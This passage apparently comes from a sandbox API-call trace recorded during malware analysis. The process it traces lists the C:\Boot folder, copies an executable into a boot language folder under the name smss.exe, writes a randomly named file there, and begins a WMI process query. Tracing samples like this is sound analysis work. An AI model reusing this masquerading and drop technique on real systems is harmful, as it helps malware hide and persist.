nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x512582c0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x512582c0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0073.474] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4d5f1480, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4d5f1480, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0073.475] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0073.476] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0073.476] FindClose (in: hFindFile=0x11f6a30 | out: hFindFile=0x11f6a30) returned 1 [0073.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0073.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0073.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0073.477] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0073.477] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f6a30 [0073.478] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.478] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.478] FindNextFileW (in: hFindFile=0x11f6a30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.478] FindClose (in: hFindFile=0x11f6a30 | out: hFindFile=0x11f6a30) returned 1 [0073.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0073.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0073.481] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0073.481] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\smss.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\smss.exe", lpFilePart=0x0) returned 0x16 [0073.481] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Boot\\fi-FI\\smss.exe" (normalized: "c:\\boot\\fi-fi\\smss.exe"), bFailIfExists=0) returned 1 [0073.530] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\69ddcba757bf72", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\69ddcba757bf72", lpFilePart=0x0) returned 0x1c [0073.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0073.530] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\69ddcba757bf72" (normalized: "c:\\boot\\fi-fi\\69ddcba757bf72"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x36c [0073.531] GetFileType (hFile=0x36c) returned 0x1 [0073.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0073.531] GetFileType (hFile=0x36c) returned 0x1 [0073.531] WriteFile (in: hFile=0x36c, lpBuffer=0x2a064b8*, nNumberOfBytesToWrite=0x302, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a064b8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x302, lpOverlapped=0x0) returned 1 [0073.532] CloseHandle (hObject=0x36c) returned 1 [0073.534] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0073.534] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0073.534] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0073.534] IUnknown:Release (This=0x111f638) returned 0x1 [0073.536] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1becea60) returned 0x0 [0073.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becea60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0073.536] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becea60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1169bc0) returned 0x0 [0073.536] WbemDefPath:IUnknown:Release (This=0x1becea60) returned 0x0 [0073.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1169bc0) returned 0x0 [0073.536] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0073.537] WbemDefPath:IUnknown:AddRef (This=0x1169bc0) returned 0x3 [0073.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0073.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0073.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1beceaa0) returned 0x0 [0073.537] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beceaa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.537] WbemDefPath:IUnknown:Release (This=0x1beceaa0) returned 0x3 [0073.537] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0073.537] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0073.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0073.537] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x2 [0073.537] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x1 [0073.537] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0073.537] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0073.537] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169bc0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1169bc0) returned 0x0 [0073.537] WbemDefPath:IUnknown:AddRef (This=0x1169bc0) returned 0x3 [0073.537] WbemDefPath:IUnknown:Release (This=0x1169bc0) returned 0x2 [0073.537] WbemDefPath:IWbemPath:SetText (This=0x1169bc0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0073.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169bc0, 